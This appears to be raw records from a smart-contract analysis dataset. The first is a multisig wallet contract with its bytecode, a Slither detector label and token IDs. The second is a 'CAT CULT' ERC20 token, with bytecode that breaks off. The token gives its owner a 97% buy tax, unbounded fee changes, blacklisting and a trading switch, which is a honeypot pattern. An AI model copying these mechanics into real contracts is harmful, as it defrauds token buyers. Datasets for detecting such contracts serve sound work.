if(recipient.send(amount)) { emit Transfer(pending.signer[0], pending.signer[1], recipient, amount, true); } else { emit Transfer(pending.signer[0], pending.signer[1], recipient, amount, false); } ResetTransferState(); } } function transferViolated(string error) private { emit Violated(error, msg.sender); ResetTransferState(); } function ResetTransferState() internal { delete pending; emit EventTransferWasReset(); } /** * @dev Reset values of pending (Transaction object) */ function abortTransaction() external onlyAdmin{ ResetTransferState(); } /** * @dev Fallback function, receives value and emits a deposit event. */ function() payable public { // deposit ether if (msg.value > 0){ emit Deposit(msg.sender, msg.value); } } /** * @dev Checks if given address is an administrator. * @param _addr address The address which you want to check. * @return True if the address is an administrator and fase otherwise. */ function isAdministrator(address _addr) public constant returns (bool) { return administrators[_addr]; } // Maintian state of administrator key update process struct KeyUpdate { address[2] signer; uint confirmations; address oldAddress; address newAddress; } KeyUpdate private updating; /** * @dev Two admnistrator can replace key of third administrator. * @param _oldAddress Address of adminisrator needs to be replaced * @param _newAddress Address of new administrator */ function updateAdministratorKey(address _oldAddress, address _newAddress) external onlyAdmin { // input verifications require( isAdministrator(_oldAddress) ); require( _newAddress != 0x00 ); require( !isAdministrator(_newAddress) ); require( msg.sender != _oldAddress ); // count confirmation uint256 remaining; // start of updating process, first signer will finalize address to be replaced // and new address to be registered, remaining two must confirm if (updating.confirmations == 0) { updating.signer[updating.confirmations] = msg.sender; updating.oldAddress = _oldAddress; updating.newAddress = _newAddress; updating.confirmations = updating.confirmations.add(1); remaining = required.sub(updating.confirmations); emit UpdateConfirmed(msg.sender,_newAddress,remaining); return; } // violated consensus if (updating.oldAddress != _oldAddress) { emit Violated("Old addresses do not match",msg.sender); ResetUpdateState(); return; } if (updating.newAddress != _newAddress) { emit Violated("New addresses do not match", msg.sender); ResetUpdateState(); return; } // make sure admin is not trying to spam if (msg.sender == updating.signer[0]) { emit Violated("Signer is spamming", msg.sender); ResetUpdateState(); return; } updating.signer[updating.confirmations] = msg.sender; updating.confirmations = updating.confirmations.add(1); remaining = required.sub(updating.confirmations); if (remaining == 0) { if (msg.sender == updating.signer[0]) { emit Violated("One of signers is spamming",msg.sender); ResetUpdateState(); return; } } emit UpdateConfirmed(msg.sender,_newAddress,remaining); // if two confirmation are done, register new admin and remove old one if (updating.confirmations == 2) { emit KeyReplaced(_oldAddress, _newAddress); ResetUpdateState(); delete administrators[_oldAddress]; administrators[_newAddress] = true; return; } } function ResetUpdateState() internal { delete updating; emit EventUpdateWasReset(); } /** * @dev Reset values of updating (KeyUpdate object) */ function abortUpdate() external onlyAdmin { ResetUpdateState(); } /** * @dev modifier allow only if function is called by administrator */ modifier onlyAdmin() { if( !administrators[msg.sender] ){ revert(); } _; } }
0x606060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a2eb301146100ef5780631478b6af14610140578063370c60011461015557806374158cd81461016a578063a9059cbb146101c2578063dc8452cd14610204575b60003411156100ed577fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b005b34156100fa57600080fd5b610126600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061022d565b604051808215151515815260200191505060405180910390f35b341561014b57600080fd5b610153610283565b005b341561016057600080fd5b6101686102e5565b005b341561017557600080fd5b6101c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610347565b005b34156101cd57600080fd5b610202600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c4b565b005b341561020f57600080fd5b6102176113a4565b6040518082815260200191505060405180910390f35b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156102db57600080fd5b6102e36113aa565b565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561033d57600080fd5b610345611443565b565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156103a157600080fd5b6103aa8361022d565b15156103b557600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156103db57600080fd5b6103e48261022d565b1515156103f057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561042b57600080fd5b600060076002015414156105c05733600760000160076002015460028110151561045157fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600760030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600760040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610531600160076002015461149690919063ffffffff16565b6007600201819055506105546007600201546005546114b490919063ffffffff16565b90508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7bc835da852cc381812c14f7e1f5d7c88561b2fdb095ce8314025bb44056d784836040518082815260200191505060405180910390a3610c46565b8273ffffffffffffffffffffffffffffffffffffffff16600760030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156106c3577f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef4113360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252601a8152602001807f4f6c642061646472657373657320646f206e6f74206d617463680000000000008152506020019250505060405180910390a16106be6113aa565b610c46565b8173ffffffffffffffffffffffffffffffffffffffff16600760040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156107c6577f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef4113360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252601a8152602001807f4e65772061646472657373657320646f206e6f74206d617463680000000000008152506020019250505060405180910390a16107c16113aa565b610c46565b600760000160006002811015156107d957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156108d7577f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef4113360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825260128152602001807f5369676e6572206973207370616d6d696e6700000000000000000000000000008152506020019250505060405180910390a16108d26113aa565b610c46565b3360076000016007600201546002811015156108ef57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610947600160076002015461149690919063ffffffff16565b60076002018190555061096a6007600201546005546114b490919063ffffffff16565b90506000811415610a87576007600001600060028110151561098857fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610a86577f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef4113360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252601a8152602001807f4f6e65206f66207369676e657273206973207370616d6d696e670000000000008152506020019250505060405180910390a1610a816113aa565b610c46565b5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7bc835da852cc381812c14f7e1f5d7c88561b2fdb095ce8314025bb44056d784836040518082815260200191505060405180910390a360026007600201541415610c45577fc2e5feb5b57381ae467c886dd61b81337257507ba62556583cecca96a1d2320c8383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1610b996113aa565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690556001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610c46565b5b505050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ca557600080fd5b6000809054906101000a900460ff16151515610cc057600080fd5b60016000806101000a81548160ff02191690831515021790555060008373ffffffffffffffffffffffffffffffffffffffff1614151515610d0057600080fd5b600082111515610d0f57600080fd5b813073ffffffffffffffffffffffffffffffffffffffff163110151515610d3557600080fd5b60006001600201541415610e5957336001600001600160020154600281101515610d5b57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160030181905550610dbc6001806002015461149690919063ffffffff16565b600160020181905550610ddf6001600201546005546114b490919063ffffffff16565b90507fc1bb95d0b9ac0dbb0b707efbc941b5e7fb37502ec8f4694160d83ef23fb59e60338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1611385565b81600160030154141515610eaa57610ea56040805190810160405280601e81526020017f496e636f727265637420616d6f756e74206f66207765692070617373656400008152506114cd565b611385565b60016000016000600281101515610ebd57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610f5557610f506040805190810160405280601281526020017f5369676e6572206973207370616d6d696e6700000000000000000000000000008152506114cd565b611385565b336001600001600160020154600281101515610f6d57fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fc46001806002015461149690919063ffffffff16565b600160020181905550610fe76001600201546005546114b490919063ffffffff16565b9050600081141561109e576001600001600060028110151561100557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561109d576110986040805190810160405280601a81526020017f4f6e65206f66207369676e657273206973207370616d6d696e670000000000008152506114cd565b611385565b5b7fc1bb95d0b9ac0dbb0b707efbc941b5e7fb37502ec8f4694160d83ef23fb59e60338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a160026001600201541415611384578273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501561126c576001600001600160028110151561116c57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160000160006002811015156111b757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6c201685d45b350967167ae4bbf742a99dd958968b9c36ce07db27dda4d581d085856001604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a361137b565b6001600001600160028110151561127f57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160000160006002811015156112ca57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6c201685d45b350967167ae4bbf742a99dd958968b9c36ce07db27dda4d581d085856000604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a35b611383611443565b5b5b60008060006101000a81548160ff021916908315150217905550505050565b60055481565b6007600080820160006113bd91906115a8565b60028201600090556003820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556004820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550507fc7192cda1b4a89757959695aea54c6eda99a836481e881d342bfa4fa9c076bb260405160405180910390a1565b60016000808201600061145691906115a8565b6002820160009055600382016000905550507f7e1e06eaa26a4b0df5c2c7a9d84ea95a187cf5a5b5bb64af0d04e623f9169dfd60405160405180910390a1565b60008082840190508381101515156114aa57fe5b8091505092915050565b60008282111515156114c257fe5b818303905092915050565b7f19a523b02c4df4ad1f6f373e807cec2f03fc44798d7f1020ad1506e743eef411813360405180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b83811015611562578082015181840152602081019050611547565b50505050905090810190601f16801561158f5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a16115a5611443565b50565b5060008155600101600090555600a165627a7a723058209e76463a693ad8f5addee67b6e674c19ddde11787cc64f4ac3cc386cbbb7b21c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 2546, 22394, 22907, 2278, 22275, 21619, 2575, 2094, 22907, 2683, 2581, 2683, 20958, 2581, 2063, 2683, 2581, 22407, 23352, 2850, 15499, 16932, 3207, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2538, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 5760, 4722, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 20865, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 2709, 1037, 1011, 1038, 1025, 1065, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 5760, 4722, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 20865, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,769
0x974fff9604cd28cc406f698331e6195a567bb27c
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CATCULT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CAT CULT"; string private constant _symbol = "CATS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x1c40F48c4FC10D98f976Cef97D06b2597f443934); address payable private _marketingAddress = payable(0x1c40F48c4FC10D98f976Cef97D06b2597f443934); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ad57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f8565b005b34801561020a57600080fd5b5060408051808201909152600881526710d0550810d5531560c21b60208201525b6040516102389190611a1f565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a74565b610697565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5066038d7ea4c680005b604051908152602001610238565b3480156102d957600080fd5b506102616102e8366004611aa0565b6106ae565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610238565b34801561032b57600080fd5b50601554610291906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae1565b610717565b34801561036b57600080fd5b506101fc61037a366004611b0e565b610762565b34801561038b57600080fd5b506101fc6107aa565b3480156103a057600080fd5b506102bf6103af366004611ae1565b6107f5565b3480156103c057600080fd5b506101fc610817565b3480156103d557600080fd5b506101fc6103e4366004611b29565b61088b565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae1565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610291565b34801561045657600080fd5b506101fc610465366004611b0e565b6108ba565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506040805180820190915260048152634341545360e01b602082015261022b565b3480156104b957600080fd5b506101fc6104c8366004611b29565b610902565b3480156104d957600080fd5b506101fc6104e8366004611b42565b610931565b3480156104f957600080fd5b50610261610508366004611a74565b61096f565b34801561051957600080fd5b50610261610528366004611ae1565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc61097c565b34801561055e57600080fd5b506101fc61056d366004611b74565b6109d0565b34801561057e57600080fd5b506102bf61058d366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611b29565b610a71565b3480156105e457600080fd5b506101fc6105f3366004611ae1565b610aa0565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c31565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191